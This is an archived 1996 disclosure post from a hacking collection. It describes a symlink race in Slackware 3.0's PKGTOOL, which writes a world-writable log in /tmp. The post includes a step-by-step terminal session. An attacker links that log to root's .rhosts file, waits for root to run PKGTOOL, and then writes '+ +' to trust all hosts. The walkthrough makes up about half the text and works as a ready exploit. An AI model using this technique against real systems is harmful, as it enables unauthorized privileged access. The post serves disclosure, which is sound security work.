home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / lin-pkgtool.txt < prev    next >
Text File  |  1998-07-17  |  2KB  |  66 lines

  1.  
  2.                         [BUG] Vulnerability in PKGTOOL
  3.                                        
  4.    Sean B. Hamor (hamors@LITTERBOX.ORG)
  5.    Mon, 26 Aug 1996 21:22:49 -0400
  6.    
  7. Note:
  8.  
  9.   I'm not sure whether or not information this has been previously released.
  10.   I found this earlier this evening while poking around, and apologize if
  11.   I've just found an old bug.
  12.  
  13.   I verified the existence of this bug in PKGTOOL for Linux Slackware 3.0.
  14.   My assumption would be that most other Linux distributions are effected as
  15.   well.
  16.  
  17.  
  18. Synopsis:
  19.  
  20.   A problem exists in the way PKGTOOL handles the /tmp/PKGTOOL.REMOVED
  21.   logfile.  This logfile is created mode 666, which allows any user to write
  22.   to it.  Although this file is usually created the first time PKGTOOL is
  23.   run and can't be removed by normal users, a problem develops if root or
  24.   the owner of the logfile deletes it for some reason or if PKGTOOL has
  25.   never been run before.
  26.  
  27.  
  28. Exploit:
  29.  
  30.   If /tmp/PKGTOOL.REMOVED gets deleted or hasn't been created yet, any user
  31.   can now create a symbolic link from /tmp/PKGTOOL.REMOVED to ~root/.rhosts
  32.   (for a generic example).  The next time PKGTOOL is run, which will more
  33.   than likely be run by root, ~root/.rhosts will be created as a 666 file
  34.   with the logs from PKGTOOL as its contents.  One may now simply do an echo
  35.   "+ +" > /tmp/PKGTOOL.REMOVED, then rm /tmp/PKGTOOL.REMOVED.
  36.  
  37.   For this example, root is the victim while hamors is the attacker:
  38.  
  39. hamors (2 20:57) litterbox:/tmp> ls -al | grep PKG
  40. - -rw-rw-rw-   1 root     root        16584 Aug 26 18:07 PKGTOOL.REMOVED.backup
  41.  
  42. hamors (3 21:00) litterbox:/tmp> ln -s ~root/.rhosts PKGTOOL.REMOVED
  43.  
  44. hamors (4 20:58) litterbox:/tmp> cat PKGTOOL.REMOVED
  45. cat: PKGTOOL.REMOVED: No such file or directory
  46.  
  47. God (17 20:59) litterbox:~# pkgtool
  48.   root now uses PKGTOOL to delete a package
  49.  
  50. hamors (5 DING!) litterbox:/tmp> head PKGTOOL.REMOVED
  51. Removing package tcl:
  52. Removing files:
  53.   ...
  54.  
  55. hamors (6 21:00) litterbox:/tmp> echo "+ +" > PKGTOOL.REMOVED
  56.  
  57. hamors (7 21:00) litterbox:/tmp> cat ~root/.rhosts
  58. + +
  59.  
  60.  
  61. Verification:
  62.  
  63. This vulnerability has been tested on Linux Slackware 3.0 with the stock
  64. installed PKGTOOL.
  65.  
  66.